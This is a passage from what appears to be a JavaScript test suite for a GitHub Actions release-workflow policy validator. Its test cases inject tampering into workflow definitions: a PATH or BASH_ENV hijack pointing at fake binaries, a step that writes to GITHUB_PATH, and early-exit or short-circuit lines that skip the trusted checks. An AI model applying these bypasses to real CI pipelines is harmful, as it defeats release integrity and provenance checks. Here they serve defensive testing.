Smoke packaged release asset must run --expected-source-sha/u], - ["fresh package identity is reported after upload", packagedFile, workflow => { - moveNamedStepAfter( - packagedJob(workflow), - "Report fresh package identity", - "Upload release asset", + }, /Authenticate published candidate assets/u], + ["published archive digest output is dropped", workflow => { + replaceRun( + workflow, + "Authenticate published candidate assets", + 'echo "archive-sha256=$(jq -r .digest <<<"$archive_asset" | sed \'s/^sha256://\')"', + "true", ); - }, /must report a verified fresh archive identity before upload/u], - ["release repeats frozen Linux qualification", releaseFile, workflow => { - workflow.jobs["packaged-proof"].with.hermetic_linux = true; - }, /release\.yml main release must not repeat frozen-candidate Linux qualification/u], + }, /Authenticate published candidate assets/u], + ]; + + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + }); + } +}); + +test("withheld accelerator cells consume only tiny exact candidate records", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "release.yml"; + const mutations = [ + ["the non-claim lane downloads public package archives", workflow => { + draftStep( + workflow.jobs["accelerator-non-claim"], + "Download authenticated candidate records for withheld identity", + ).with.pattern = "codestory-cli-*"; + }, /non-claim producer must download only tiny authenticated candidate records|must never transfer or read a large package archive/u], + ["the non-claim lane reads a large archive", workflow => { + const record = draftStep( + workflow.jobs["accelerator-non-claim"], + "Record populated accelerator non-claims", + ); + record.run = record.run.replace( + '--candidate-record "target/release-non-claim/candidate-records/codestory-candidate-archive-record-$target/candidate-archive-record.json"', + '--archive "target/release-non-claim/candidate-records/codestory-cli-$target/archive"', + ); + }, /non-claim producer must never transfer or read a large package archive|Record populated accelerator non-claims/u], + ]; + + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + }); + } +}); + +test("release workflows retain the closeout coordinator contract test", () => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + for (const [file, jobName] of [ + ["plugin-static.yml", "plugin-static"], + ["release.yml", "workflow-policy"], + ]) { + const workflows = loadWorkflows(); + const step = workflows.get(file).jobs[jobName].steps.find( + ({ name }) => name === "Check release claim and evidence contracts", + ); + step.run = step.run.replace("scripts/tests/codestory-release-closeout.test.mjs", ""); + assert.ok( + validateWorkflows(workflows).some((message) => + message.includes(file) + && message.includes("scripts/tests/codestory-release-closeout.test.mjs")), + ); + } +}); + +test("workflow hygiene requires declared permissions and step-job timeouts", () => { + const valid = parseWorkflow(` +on: { workflow_dispatch: null } +permissions: { contents: read } +jobs: + work: + timeout-minutes: 5 + steps: + - run: echo ok + call: + uses: ./.github/workflows/other.yml +`); + assert.deepEqual(basicWorkflowViolations("fixture.yml", valid), []); + + const withoutPermissions = structuredClone(valid); + delete withoutPermissions.permissions; + assert.match( + basicWorkflowViolations("fixture.yml", withoutPermissions).join("\n"), + /must declare a top-level permissions block/u, + ); + + const withoutTimeout = structuredClone(valid); + delete withoutTimeout.jobs.work["timeout-minutes"]; + assert.match( + basicWorkflowViolations("fixture.yml", withoutTimeout).join("\n"), + /jobs\.work must declare timeout-minutes/u, + ); +}); + +test("local reusable workflow callers grant every permission requested by the callee", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const cases = [ + ["packaged source caller downgrades status authority", workflows => { + workflows.get("packaged-platform-pr.yml").jobs["source-proof"] + .permissions.statuses = "read"; + }, /packaged-platform-pr\.yml job source-proof grants statuses: read but source-proof\.yml job .+ requests write/u], + ["packaged source caller drops its job permission boundary", workflows => { + delete workflows.get("packaged-platform-pr.yml").jobs["source-proof"].permissions; + }, /packaged-platform-pr\.yml job source-proof grants statuses: read but source-proof\.yml job .+ requests write/u], + ["automatic release caller downgrades Actions authority", workflows => { + workflows.get("auto-release.yml").jobs.release.permissions.actions = "read"; + }, /auto-release\.yml job release grants actions: read but release\.yml job .+ requests write/u], + ["plugin release caller cannot fund its publish job", workflows => { + workflows.get("auto-release.yml").jobs["plugin-release"].permissions.contents = "read"; + }, /auto-release\.yml job plugin-release grants contents: read but plugin-release\.yml job publish requests write/u], + ["release restores the invalid broad source call", workflows => { + workflows.get("release.yml").jobs["source-proof"].uses + = "./.github/workflows/source-proof.yml"; + }, /release\.yml job source-proof grants statuses: none but source-proof\.yml job .+ requests write/u], + ["caller scalar read-all cannot fund a write job", workflows => { + workflows.get("auto-release.yml").jobs["plugin-release"].permissions = "read-all"; + }, /auto-release\.yml job plugin-release grants contents: read-all but plugin-release\.yml job publish requests write/u], + ["callee scalar write-all cannot hide from the caller check", workflows => { + workflows.get("plugin-release.yml").jobs.publish.permissions = "write-all"; + }, /auto-release\.yml job plugin-release grants \*: none but plugin-release\.yml job publish requests write/u], + ]; + + for (const [name, mutate, expected] of cases) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + assert.match(validateWorkflows(workflows).join("\n"), expected); + }); + } +}); + +test("cargo test filters must select at least one real test", () => { + const identifiers = new Map([["demo-crate", "/unused"]]); + const known = new Set(["tests", "demo_tests", "full_publication_survives_restart"]); + const originalReaddir = known; + const workflows = new Map([ + [ + "fixture.yml", + parseWorkflow(` +on: { workflow_dispatch: null } +permissions: { contents: read } +jobs: + proof: + timeout-minutes: 5 + steps: + - run: | + cargo test --locked -p demo-crate --lib publication_survives + cargo test --locked -p demo-crate --lib -- --exact tests::demo_tests::full_publication_survives_restart + cargo test --locked -p demo-crate --target \${{ matrix.rust_target }} --lib tests + cargo test --locked -p demo-crate --lib publication_survives -- --test-threads 1 +`), + ], + ]); + // Substring semantics: `publication_survives` legitimately selects the `full_…_restart` test. + const violations = []; + validateCargoTestFilters(workflows, violations, identifiers, () => originalReaddir); + assert.deepEqual(violations, []); + + const renamed = new Set(["tests", "demo_tests", "renamed_publication_check"]); + const afterRename = []; + validateCargoTestFilters(workflows, afterRename, identifiers, () => renamed); + assert.match(afterRename.join("\n"), /selects no test: publication_survives/u); + assert.match(afterRename.join("\n"), /selects no test: full_publication_survives_restart/u); +}); + +test("third-party action policy reads only parsed uses values", () => { + const valid = parseWorkflow(` +on: { workflow_dispatch: null } +permissions: { contents: read } +jobs: + check: + timeout-minutes: 5 + steps: + - uses: vendor/action@${fullSha} +# uses: vendor/action@main +`); + assert.deepEqual(basicWorkflowViolations("fixture.yml", valid), []); + + const invalid = structuredClone(valid); + invalid.jobs.check.steps[0].uses = "vendor/action@main"; + assert.match(basicWorkflowViolations("fixture.yml", invalid).join("\n"), /full-length SHA/u); +}); + +test("release authority accepts only exact live auto-main or manual-dev routes", async (t) => { + const auto = { + EXPECTED_HEAD_SHA: "", + GITHUB_EVENT_NAME: "push", + GITHUB_REF: "refs/heads/main", + GITHUB_SHA: fullSha, + GITHUB_WORKFLOW_REF: "TheGreenCedar/CodeStory/.github/workflows/auto-release.yml@refs/heads/main", + PUBLISH_RELEASE: "true", + }; + const manual = { + EXPECTED_HEAD_SHA: fullSha, + GITHUB_EVENT_NAME: "workflow_dispatch", + GITHUB_REF: "refs/heads/dev/codestory-next", + GITHUB_SHA: fullSha, + GITHUB_WORKFLOW_REF: "TheGreenCedar/CodeStory/.github/workflows/release.yml@refs/heads/dev/codestory-next", + PUBLISH_RELEASE: "", + }; + + await t.test("trusted auto push on live main", () => { + const result = runReleaseAuthority(auto); + assert.equal(result.status, 0, result.stderr || result.stdout); + }); + await t.test("manual proof on exact live dev", () => { + const result = runReleaseAuthority(manual); + assert.equal(result.status, 0, result.stderr || result.stdout); + }); + await t.test("manual event cannot claim publication", () => { + const result = runReleaseAuthority({ ...manual, PUBLISH_RELEASE: "true" }); + assert.notEqual(result.status, 0); + assert.match(result.stdout, /Publication authority requires the trusted reusable-workflow caller/u); + }); + await t.test("wrong automatic caller is rejected", () => { + const result = runReleaseAuthority({ + ...auto, + GITHUB_WORKFLOW_REF: "TheGreenCedar/CodeStory/.github/workflows/rogue.yml@refs/heads/main", + }); + assert.notEqual(result.status, 0); + }); + await t.test("stale main is rejected", () => { + const result = runReleaseAuthority(auto, "2".repeat(40)); + assert.notEqual(result.status, 0); + assert.match(result.stdout, /main moved from release head/u); + }); + await t.test("wrong manual SHA is rejected", () => { + const result = runReleaseAuthority({ ...manual, EXPECTED_HEAD_SHA: "2".repeat(40) }); + assert.notEqual(result.status, 0); + assert.match(result.stdout, /does not match workflow head/u); + }); + await t.test("stale dev is rejected", () => { + const result = runReleaseAuthority(manual, "2".repeat(40)); + assert.notEqual(result.status, 0); + assert.match(result.stdout, /dev\/codestory-next moved from proved head/u); + }); +}); + +test("release-head calibration lineage rejects identities and source shapes around the freeze", async (t) => { + const fixtureRoot = mkdtempSync( + path.join(os.tmpdir(), "codestory-release-lineage-"), + ); + t.after(() => rmSync(fixtureRoot, { recursive: true, force: true })); + const repository = path.join(fixtureRoot, "repository"); + mkdirSync(repository, { recursive: true }); + calibrationGit(repository, "-c", "init.defaultBranch=main", "init", "-q"); + writeCalibrationFixture(repository, "README.md", "release lineage fixture\n"); + writeCalibrationFixture( + repository, + calibrationConstantSet, + `${JSON.stringify({ status: "unfrozen", freeze_record: null }, null, 2)}\n`, + ); + const calibrated = commitCalibrationFixture(repository, "calibrate"); + const frozenContract = { + status: "frozen", + freeze_record: { + selection_source_commit: calibrated.commit, + selection_source_tree: calibrated.tree, + }, + }; + writeCalibrationFixture( + repository, + calibrationConstantSet, + `${JSON.stringify(frozenContract, null, 2)}\n`, + ); + const frozen = commitCalibrationFixture(repository, "freeze constants"); + + await t.test("the one-file freeze is accepted", () => { + const result = runCalibrationReleaseCheck(repository, frozen.commit); + assert.equal(result.status, 0, result.stderr || result.stdout); + const receipt = JSON.parse(result.stdout); + assert.equal(receipt.status, "passed"); + assert.equal(receipt.selection_commit, calibrated.commit); + assert.equal(receipt.frozen_commit, frozen.commit); + assert.deepEqual(receipt.allowed_changed_paths, [calibrationConstantSet]); + }); + + await t.test("a caller-supplied SHA that is not the checkout is rejected", () => { + const result = runCalibrationReleaseCheck(repository, calibrated.commit); + assert.notEqual(result.status, 0); + assert.match(result.stderr, /release checkout does not match the expected release source/u); + }); + + await t.test("a later commit revokes candidate acceptance unless it is the explicit promotion", () => { + calibrationGit( + repository, + "commit", + "--allow-empty", + "--no-verify", + "-q", + "-m", + "promote frozen tree", + ); + const promoted = calibrationGit(repository, "rev-parse", "HEAD"); + const rejected = runCalibrationReleaseCheck(repository, promoted); + assert.notEqual(rejected.status, 0); + assert.match(rejected.stderr, /later commit revokes acceptance/u); + const promotedResult = runCalibrationReleaseCheck( + repository, + promoted, + { allowPromotionCommit: true }, + ); + assert.equal( + promotedResult.status, + 0, + promotedResult.stderr || promotedResult.stdout, + ); + calibrationGit(repository, "reset", "--hard", frozen.commit); + }); + + await t.test("a freeze record carrying the wrong calibration tree is rejected", () => { + writeCalibrationFixture( + repository, + calibrationConstantSet, + `${JSON.stringify({ + ...frozenContract, + freeze_record: { + ...frozenContract.freeze_record, + selection_source_tree: "f".repeat(40), + }, + }, null, 2)}\n`, + ); + const wrongTree = commitCalibrationFixture(repository, "forge calibration tree"); + const result = runCalibrationReleaseCheck(repository, wrongTree.commit); + assert.notEqual(result.status, 0); + assert.match(result.stderr, /calibration commit does not resolve to the recorded calibration tree/u); + calibrationGit(repository, "reset", "--hard", frozen.commit); + }); + + await t.test("source drift after the freeze is rejected and named", () => { + writeCalibrationFixture(repository, "README.md", "post-freeze source drift\n"); + const drifted = commitCalibrationFixture(repository, "change source after freeze"); + const result = runCalibrationReleaseCheck(repository, drifted.commit); + assert.notEqual(result.status, 0); + assert.match(result.stderr, /post-calibration source drift exceeded/u); + assert.match(result.stderr, /README\.md/u); + }); +}); + +test("release policy keeps the release-head lineage check mandatory and exact", async (t) => { + const stepName = "Verify release-head calibration lineage"; + const cases = [ + ["missing step", workflows => { + const steps = workflows.get("release.yml").jobs.preflight.steps; + workflows.get("release.yml").jobs.preflight.steps = steps + .filter(step => step.name !== stepName); + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["conditional publishing-only step", workflows => { + draftStep(workflows.get("release.yml").jobs.preflight, stepName).if + = "inputs.publish_release"; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["advisory continue-on-error step", workflows => { + draftStep(workflows.get("release.yml").jobs.preflight, stepName)["continue-on-error"] + = true; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["advisory preflight job", workflows => { + workflows.get("release.yml").jobs.preflight["continue-on-error"] = true; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["conditional preflight job", workflows => { + workflows.get("release.yml").jobs.preflight.if = "inputs.publish_release"; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["job PATH shadows the lineage interpreter", workflows => { + workflows.get("release.yml").jobs.preflight.env = { + PATH: "${{ github.workspace }}/scripts/fake-bin:${{ env.PATH }}", + }; + }, /preflight must retain the exact trusted job environment/u], + ["job BASH_ENV changes lineage execution", workflows => { + workflows.get("release.yml").jobs.preflight.env = { + BASH_ENV: "${{ github.workspace }}/scripts/fake-bin/bash-env", + }; + }, /preflight must retain the exact trusted job environment/u], + ["job shell defaults change lineage execution", workflows => { + workflows.get("release.yml").jobs.preflight.defaults = { + run: { shell: "bash --noprofile --norc -e {0}" }, + }; + }, /preflight must retain the exact trusted job environment/u], + ["workflow PATH shadows the lineage interpreter", workflows => { + workflows.get("release.yml").env = { + PATH: "${{ github.workspace }}/scripts/fake-bin:${{ env.PATH }}", + }; + }, /release workflow must not override the release-head calibration execution environment/u], + ["workflow BASH_ENV changes lineage execution", workflows => { + workflows.get("release.yml").env = { + BASH_ENV: "${{ github.workspace }}/scripts/fake-bin/bash-env", + }; + }, /release workflow must not override the release-head calibration execution environment/u], + ["workflow shell defaults change lineage execution", workflows => { + workflows.get("release.yml").defaults = { + run: { shell: "bash --noprofile --norc -e {0}" }, + }; + }, /release workflow must not override the release-head calibration execution environment/u], + ["interpreter uses PATH lookup", workflows => { + const step = draftStep(workflows.get("release.yml").jobs.preflight, stepName); + step.run = step.run.replace("/usr/bin/python3 -E -s", "python"); + }, /step Verify release-head calibration lineage must run \/usr\/bin\/python3 -E -s/u], + ["lineage shell uses PATH lookup", workflows => { + const step = draftStep(workflows.get("release.yml").jobs.preflight, stepName); + step.shell = "bash -e {0}"; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["lineage step sources a hostile BASH_ENV", workflows => { + const step = draftStep(workflows.get("release.yml").jobs.preflight, stepName); + step.env.BASH_ENV = "${{ github.workspace }}/scripts/fake-bin/bash-env"; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["lineage step changes working directory", workflows => { + const step = draftStep(workflows.get("release.yml").jobs.preflight, stepName); + step["working-directory"] = "${{ runner.temp }}"; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["lineage step injects another environment variable", workflows => { + const step = draftStep(workflows.get("release.yml").jobs.preflight, stepName); + step.env.PYTHONPATH = "${{ github.workspace }}/scripts/fake-python"; + }, /release-head calibration lineage must be unconditional and fail closed/u], + ["step inserted before lineage", workflows => { + workflows.get("release.yml").jobs.preflight.steps.splice(1, 0, { + name: "Rewrite execution environment", + run: 'echo "$GITHUB_WORKSPACE/scripts/fake-bin" >> "$GITHUB_PATH"', + }); + }, /must run immediately after checkout and before other release work/u], + ["wrong release SHA", workflows => { + const step = draftStep(workflows.get("release.yml").jobs.preflight, stepName); + step.run = step.run.replace("$GITHUB_SHA", "$EXPECTED_HEAD_SHA"); + }, /step Verify release-head calibration lineage must run --expected-sha/u], + ]; + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + for (const [name, mutate, expected] of cases) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows); + assert.match(validateWorkflows(workflows).join("\n"), expected); + }); + } +}); + +test("proof resolvers reject hostile refs, SHAs, and labeled-event drift before proof work", async (t) => { + const otherSha = "2".repeat(40); + const sourceEnvironment = { + PR_NUMBER: "1230", + EXPECTED_HEAD_SHA: fullSha, + CALLER_REF: "", + EVENT_PR_NUMBER: "", + EVENT_HEAD_SHA: "", + EVENT_HEAD_REPO: "", + GITHUB_EVENT_NAME: "workflow_dispatch", + GITHUB_SHA: fullSha, + }; + await t.test("source PR dispatch", () => { + const rejected = runResolver("source-proof.yml", "resolve", { + ...sourceEnvironment, + GITHUB_REF: "refs/heads/main", + }); + assert.notEqual(rejected.status, 0); + assert.match(rejected.stdout, /--ref codex\/exact-head/u); + + const wrongSha = runResolver("source-proof.yml", "resolve", { + ...sourceEnvironment, + GITHUB_REF: "refs/heads/codex/exact-head", + GITHUB_SHA: otherSha, + }); + assert.notEqual(wrongSha.status, 0); + assert.match(wrongSha.stdout, /Workflow SHA .* is not reviewed PR head/u); + + const accepted = runResolver("source-proof.yml", "resolve", { + ...sourceEnvironment, + GITHUB_REF: "refs/heads/codex/exact-head", + }); + assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + }); + + await t.test("source labeled event", () => { + const environment = { + PR_NUMBER: "", + EXPECTED_HEAD_SHA: "", + CALLER_REF: "", + EVENT_PR_NUMBER: "1230", + EVENT_HEAD_SHA: fullSha, + EVENT_HEAD_REPO: "TheGreenCedar/CodeStory", + GITHUB_EVENT_NAME: "pull_request", + GITHUB_REF: "refs/pull/1230/merge", + GITHUB_SHA: fullSha, + }; + const accepted = runResolver("source-proof.yml", "resolve", environment); + assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + + const drifted = runResolver("source-proof.yml", "resolve", { + ...environment, + EVENT_HEAD_SHA: otherSha, + }); + assert.notEqual(drifted.status, 0); + assert.match(drifted.stdout, /moved after the review-accepted label event/u); + }); + + const packagedEnvironment = { + INPUT_PR_NUMBER: "1230", + INPUT_HEAD_SHA: fullSha, + INPUT_MODE: "platform", + EVENT_PR_NUMBER: "", + EVENT_HEAD_SHA: "", + EVENT_HEAD_REPO: "", + INPUT_SOURCE_RUN_ID: "", + INPUT_CALIBRATION_ARTIFACT: "", + INPUT_CALIBRATION_RUN_ID: "", + GITHUB_EVENT_NAME: "workflow_dispatch", + GITHUB_SHA: fullSha, + }; + await t.test("platform PR dispatch", () => { + const rejected = runResolver("packaged-platform-pr.yml", "route", { + ...packagedEnvironment, + GITHUB_REF: "refs/heads/main", + }); + assert.notEqual(rejected.status, 0); + assert.match(rejected.stdout, /--ref codex\/exact-head/u); + + const wrongSha = runResolver("packaged-platform-pr.yml", "route", { + ...packagedEnvironment, + GITHUB_REF: "refs/heads/codex/exact-head", + GITHUB_SHA: otherSha, + }); + assert.notEqual(wrongSha.status, 0); + assert.match(wrongSha.stdout, /Workflow SHA .* is not accepted PR head/u); + + const accepted = runResolver("packaged-platform-pr.yml", "route", { + ...packagedEnvironment, + GITHUB_REF: "refs/heads/codex/exact-head", + }); + assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + }); + + await t.test("platform labeled event", () => { + const environment = { + ...packagedEnvironment, + INPUT_PR_NUMBER: "", + INPUT_HEAD_SHA: "", + INPUT_MODE: "", + EVENT_PR_NUMBER: "1230", + EVENT_HEAD_SHA: fullSha, + EVENT_HEAD_REPO: "TheGreenCedar/CodeStory", + GITHUB_EVENT_NAME: "pull_request", + GITHUB_REF: "refs/pull/1230/merge", + }; + const accepted = runResolver("packaged-platform-pr.yml", "route", environment); + assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + + const drifted = runResolver("packaged-platform-pr.yml", "route", { + ...environment, + EVENT_HEAD_SHA: otherSha, + }); + assert.notEqual(drifted.status, 0); + assert.match(drifted.stdout, /moved after the platform-proof label event/u); + }); + + await t.test("integration dispatch", () => { + const rejected = runResolver("packaged-platform-pr.yml", "route", { + ...packagedEnvironment, + INPUT_PR_NUMBER: "", + INPUT_MODE: "integration", + GITHUB_REF: "refs/heads/main", + }); + assert.notEqual(rejected.status, 0); + assert.match(rejected.stdout, /--ref dev\/codestory-next/u); + + const accepted = runResolver("packaged-platform-pr.yml", "route", { + ...packagedEnvironment, + INPUT_PR_NUMBER: "", + INPUT_MODE: "integration", + GITHUB_REF: "refs/heads/dev/codestory-next", + }); + assert.equal(accepted.status, 0, accepted.stderr || accepted.stdout); + }); +}); + +test("exact proof policy rejects trigger and identity downgrades", async (t) => { + const sourceFile = "source-proof.yml"; + const packagedCoordinatorFile = "packaged-platform-pr.yml"; + const packagedProofFile = "packaged-platform-proof.yml"; + const linuxVulkanFile = "linux-vulkan-proof.yml"; + const windowsVulkanFile = "windows-vulkan-proof.yml"; + const metalProofFile = "macos-metal-proof.yml"; + const sourceResolver = workflow => draftStep(workflow.jobs.resolve, "Resolve trusted exact head"); + const packagedResolver = workflow => draftStep(workflow.jobs.route, "Resolve trusted exact head"); + + const mutations = [ + ["source PR label trigger returns", sourceFile, workflow => { + workflow.on.pull_request = { types: ["labeled"] }; + }, /support PR labels must not trigger broad source proof/u], + ["platform PR label trigger returns", packagedCoordinatorFile, workflow => { + workflow.on.pull_request = { types: ["labeled"] }; + }, /support PR labels must not trigger package or hardware proof/u], + ["source PR-number-only concurrency", sourceFile, workflow => { + workflow.concurrency.group = "source-proof-${{ inputs.pr_number || github.event.pull_request.number }}"; + }, /concurrency must bind the Actions SHA/u], + ["platform PR-number-only concurrency", packagedCoordinatorFile, workflow => { + workflow.concurrency.group = "proof-${{ inputs.mode }}-${{ inputs.pr_number }}"; + }, /concurrency must bind the Actions SHA/u], + ["source manual SHA equality", sourceFile, workflow => { + sourceResolver(workflow).run = sourceResolver(workflow).run + .replace('test "$GITHUB_SHA" = "$EXPECTED_HEAD_SHA"', 'test -n "$GITHUB_SHA"'); + }, /GITHUB_SHA.*EXPECTED_HEAD_SHA/u], + ["source manual SHA short-circuit", sourceFile, workflow => { + sourceResolver(workflow).run = sourceResolver(workflow).run + .replace( + 'test "$GITHUB_SHA" = "$EXPECTED_HEAD_SHA" || {', + 'true || test "$GITHUB_SHA" = "$EXPECTED_HEAD_SHA" || {', + ); + }, /exact normalized trusted resolver script contract/u], + ["source labeled branch disabled", sourceFile, workflow => { + sourceResolver(workflow).run = sourceResolver(workflow).run + .replace( + 'if [ -n "$EVENT_PR_NUMBER" ]; then', + 'if false && [ -n "$EVENT_PR_NUMBER" ]; then', + ); + }, /exact normalized trusted resolver script contract/u], + ["source resolver exits before trusted checks", sourceFile, workflow => { + sourceResolver(workflow).run = sourceResolver(workflow).run + .replace( + "set -euo pipefail", + 'set -euo pipefail\necho "ref=$GITHUB_SHA" >> "$GITHUB_OUTPUT"\nexit 0', + ); + }, /exact normalized trusted resolver script contract/u], + ["source resolver blank line", sourceFile, workflow => { + sourceResolver(workflow).run = sourceResolver(workflow).run + .replace("set -euo pipefail\n", "set -euo pipefail\n\n"); + }, /exact normalized trusted resolver script contract/u], + ["source resolve becomes conditional", sourceFile, workflow => { + workflow.jobs.resolve.if + = "false && (github.event.action == 'labeled' && github.event.label.name == 'review-accepted')"; + }, /execute only explicit dispatch and reusable calls/u], + ["source manual ref equality", sourceFile, workflow => { + sourceResolver(workflow).run = sourceResolver(workflow).run + .replace('test "$GITHUB_REF" = "refs\/heads\/$head_ref"', 'test -n "$GITHUB_REF"'); + }, /GITHUB_REF.*head_ref/u], + ["platform manual SHA equality", packagedCoordinatorFile, workflow => { + packagedResolver(workflow).run = packagedResolver(workflow).run + .replace('test "$GITHUB_SHA" = "$INPUT_HEAD_SHA"', 'test -n "$GITHUB_SHA"'); + }, /GITHUB_SHA.*INPUT_HEAD_SHA/u], + ["platform manual SHA short-circuit", packagedCoordinatorFile, workflow => { + packagedResolver(workflow).run = packagedResolver(workflow).run + .replace( + 'test "$GITHUB_SHA" = "$INPUT_HEAD_SHA" || {', + 'true || test "$GITHUB_SHA" = "$INPUT_HEAD_SHA" || {', + ); + }, /exact normalized trusted resolver script contract/u], + ["platform labeled branch disabled", packagedCoordinatorFile, workflow => { + packagedResolver(workflow).run = packagedResolver(workflow).run + .replace( + 'if [ -n "$EVENT_HEAD_REPO" ]; then', + 'if false && [ -n "$EVENT_HEAD_REPO" ]; then', + ); + }, /exact normalized trusted resolver script contract/u], + ["platform resolver exits before trusted checks", packagedCoordinatorFile, workflow => { + packagedResolver(workflow).run = packagedResolver(workflow).run + .replace( + "set -euo pipefail", + 'set -euo pipefail\necho "head_sha=$GITHUB_SHA" >> "$GITHUB_OUTPUT"\nexit 0', + ); + }, /exact normalized trusted resolver script contract/u], + ["platform resolver backslash continuation blank line", packagedCoordinatorFile, workflow => { + packagedResolver(workflow).run = packagedResolver(workflow).run + .replace( + 'if [ -n "$INPUT_SOURCE_RUN_ID" ] \\\n ||', + 'if [ -n "$INPUT_SOURCE_RUN_ID" ] \\\n\n ||', + ); + }, /exact normalized trusted resolver script contract/u], + ["platform route becomes conditional", packagedCoordinatorFile, workflow => { + workflow.jobs.route.if + = "false && (github.event.action == 'labeled' && github.event.label.name == 'platform-proof')"; + }, /execute only explicit dispatches/u], + ["integration live dev SHA equality", packagedCoordinatorFile, workflow => { + packagedResolver(workflow).run = packagedResolver(workflow).run + .replace('test "$GITHUB_SHA" = "$dev_head"', 'test -n "$GITHUB_SHA"'); + }, /GITHUB_SHA.*dev_head/u], + ["hosted-only integration scope removed", packagedCoordinatorFile, workflow => { + workflow.on.workflow_dispatch.inputs.scope.options + = workflow.on.workflow_dispatch.inputs.scope.options.filter(scope => scope !== "none"); + }, /dispatch scopes changed/u], + ["exact integration Linux scope removed", packagedCoordinatorFile, workflow => { + const step = draftStep(workflow.jobs.route, "Select change-aware proof scope"); + step.run = step.run.replace(' || [ "$REQUESTED_SCOPE" = linux ]', ""); + }, /integration must preserve explicit no-op and Linux scopes/u], + ["release evidence runs implicitly", packagedCoordinatorFile, workflow => { + workflow.jobs["release-evidence"].if = "needs.route.outputs.mode != 'calibration'"; + }, /optional release evidence must run only in explicit release-evidence mode/u], + ["package waits for release evidence", packagedCoordinatorFile, workflow => { + workflow.jobs["packaged-proof"].needs.push("release-evidence"); + }, /package proof must not depend on optional release evidence/u], + ["protected Linux proof removed", packagedCoordinatorFile, workflow => { + workflow.jobs["linux-vulkan-proof"].uses = "./.github/workflows/packaged-platform-proof.yml"; + }, /Linux proof must use the protected Vulkan workflow/u], + ["protected Linux candidate proof disabled", packagedCoordinatorFile, workflow => { + workflow.jobs["linux-vulkan-proof"].with.candidate_installed_proof = false; + }, /Linux proof must close Vulkan and candidate-installed claims/u], + ["Linux direct dispatch returns", linuxVulkanFile, workflow => { + workflow.on.workflow_dispatch = { inputs: {} }; + }, /coordinator-only and not directly dispatchable/u], + ["closeout skips protected Linux", packagedCoordinatorFile, workflow => { + workflow.jobs.closeout.needs = workflow.jobs.closeout.needs + .filter(name => name !== "linux-vulkan-proof"); + }, /closeout must wait for every selected platform proof/u], + ["closeout waits for release evidence", packagedCoordinatorFile, workflow => { + workflow.jobs.closeout.needs.push("release-evidence"); + }, /normal closeout must not depend on optional release or quality evidence/u], + ["Linux package matrix scope removed", packagedProofFile, workflow => { + workflow.jobs.build.strategy.matrix + = workflow.jobs.build.strategy.matrix.replace("inputs.scope == 'linux'", "inputs.scope == 'windows'"); + }, /matrix must select structural JSON by scope/u], + ["package build loses the history the freeze lineage probe reads", packagedProofFile, workflow => { + draftStep(workflow.jobs.build, "Checkout").with["fetch-depth"] = 1; + }, /package build must keep full history for the calibration freeze lineage probe/u], + ["reachable lineage proof stops enforcing the freeze lineage", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + const removed = step.run.replace(" --enforce-calibration-freeze-lineage \\\n", ""); + assert.notEqual(removed, step.run, "freeze lineage flag was already absent"); + step.run = removed; + }, /must pass --enforce-calibration-freeze-lineage on the invocation that reads the calibration bundle/u], + ["reachable lineage proof parks the flag on a decoy", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + const stripped = step.run.replace(" --enforce-calibration-freeze-lineage \\\n", ""); + assert.notEqual(stripped, step.run, "freeze lineage flag was already absent"); + step.run = `${stripped}echo skipping python .github/scripts/check-packaged-agent-proof.py \\\n --enforce-calibration-freeze-lineage \\\n --out-dir target/decoy\n`; + }, /must pass --enforce-calibration-freeze-lineage on the invocation that reads the calibration bundle/u], + ["reachable lineage proof stops binding the verified source identity", packagedProofFile, workflow => { + delete draftStep(workflow.jobs.build, "Prove frozen calibration source lineage").env.SOURCE_SHA; + }, /must bind the verified source identity and the authenticated producer/u], + ["reachable lineage proof is removed entirely", packagedProofFile, workflow => { + workflow.jobs.build.steps = workflow.jobs.build.steps + .filter(({ name }) => name !== "Prove frozen calibration source lineage"); + }, /must contain named step Prove frozen calibration source lineage/u], + // Reachability, not presence. Each of these leaves the flag exactly where it + // is and only makes the step impossible to reach from the frozen-candidate + // coordinator -- which is how the guard went dark the first time. + ["lineage proof re-gated on the release evidence its caller cannot pass", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + step.if = `${step.if} && inputs.quality_evidence_artifact != ''`; + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["lineage proof re-gated onto the unfrozen calibration collection", packagedProofFile, workflow => { + draftStep(workflow.jobs.build, "Prove frozen calibration source lineage").if + = "matrix.asset_target == 'linux-x64' && inputs.calibration_mode && inputs.calibration_bundle_artifact != ''"; + }, /Prove frozen calibration source lineage must be reachable from a packaged-platform-pr\.yml frozen-candidate dispatch/u], + ["lineage proof moved onto a package cell the matrix never builds", packagedProofFile, workflow => { + const step = draftStep(workflow.jobs.build, "Prove frozen calibration source lineage"); + step.if = step.if.replace("linux-x64", "linux-arm64"); + }, /Prove frozen calibration source lineage must be reachable from a 